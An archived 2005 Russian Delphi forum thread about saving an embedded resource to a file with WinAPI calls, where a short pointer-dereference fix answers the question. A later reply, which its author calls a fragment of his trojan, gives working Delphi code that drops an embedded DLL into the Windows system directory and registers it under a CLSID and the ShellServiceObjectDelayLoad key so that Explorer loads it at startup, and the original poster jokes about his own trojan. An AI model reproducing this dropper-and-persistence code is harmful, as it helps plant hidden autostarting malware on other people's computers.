Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2005.06.14;
Скачать: [xml.tar.bz2];

Вниз

Как сохранить ресурс в файл?   Найти похожие ветки 

 
lpVoid ©   (2005-04-21 13:56) [0]

Написал вот такой код. Ресурс находится, в память загружается, а вот WriteFile ругается что буфер неправильный. Ошибка такая: ERROR_INVALID_USER_BUFFER = 1784


 hFile:=CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 hRes:=FindResource(0, "DATA", RT_RCDATA);
 szRes:=SizeOfResource(0, hRes);
 hResMem:=LoadResource(0, hRes);
 pBuffer:=LockResource(hResMem);
 WriteFile(hFile, pBuffer, szRes, WriteCount, 0);
 CloseHandle(hSrcFile);


 
mgcr ©   (2005-04-21 14:56) [1]

WriteFile(hFile, pBuffer^, szRes, WriteCount, 0);


 
Dot   (2005-04-21 15:16) [2]

а не подскажете типы данных?
то есть можно тот кусок кода где VAR увидеть?


 
lpVoid ©   (2005-04-21 16:22) [3]

Спасибо, mgcr. Стормозил я чего-то.


 
lock95   (2005-04-22 20:51) [4]

Маленький пример как ресурс сохранит и выгрузить (уолюсь фрагмент моего троянчика)   ;)

program Project1;

uses
  Windows, SysUtils, Classes, Registry;

{$R sheldll.RES}//наш ресурс

var
MyDll1: TResourceStream;
reg:TRegistry;
szPath: array [0..MAX_PATH -1] of Char;
Sysdir:string;

begin

 GetSystemDirectory(szPath, MAX_PATH); //узнаемпуть к системной дирректории
 Sysdir:=StrPas(szPath)+"\sheldll.dll";   //   преобразуем в стр + \sheldll.dll

     MyDll1:=TResourceStream.Create(hInstance, "MYDLL", RT_RCDATA);
   try
   MyDll1.SaveToFile(Sysdir);
  // Finally
    except          //пуска не глючит
     MyDll1.Free;
  end; {try}

   reg:=Tregistry.create;
   reg.rootkey:=HKEY_CLASSES_ROOT;
 try
   reg.openkey ("CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32", true);
   reg.writestring("",Sysdir);
   reg.closekey;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey("Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad", true);
   reg.writestring("MyDllLoade","{69502F20-E8CD-11D5-A784-0050BF44BD3B}");
   reg.closekey;
 finally
   reg.free;
 end; {try}

end.


 
lpVoid ©   (2005-04-22 23:17) [5]

Так конечно проще, но для троянчика это жирновато будет, меньше 150кб никак. :)



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2005.06.14;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.45 MB
Время: 0.042 c
6-1111439002
Zion
2005-03-22 00:03
2005.06.14
Как узнать IP-адрес компа в локалке по его сетевому имени?


14-1117089702
КаПиБаРа
2005-05-26 10:41
2005.06.14
Двойные стандарты


3-1115511543
UserCP
2005-05-08 04:19
2005.06.14
Как вставить и прочитать в MSSQL графическое изображение?


3-1115760205
MadGhost
2005-05-11 01:23
2005.06.14
ZeosDBO и MySQL ужасы.....


1-1117521709
imm
2005-05-31 10:41
2005.06.14
Где искать буфер TBitmap





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский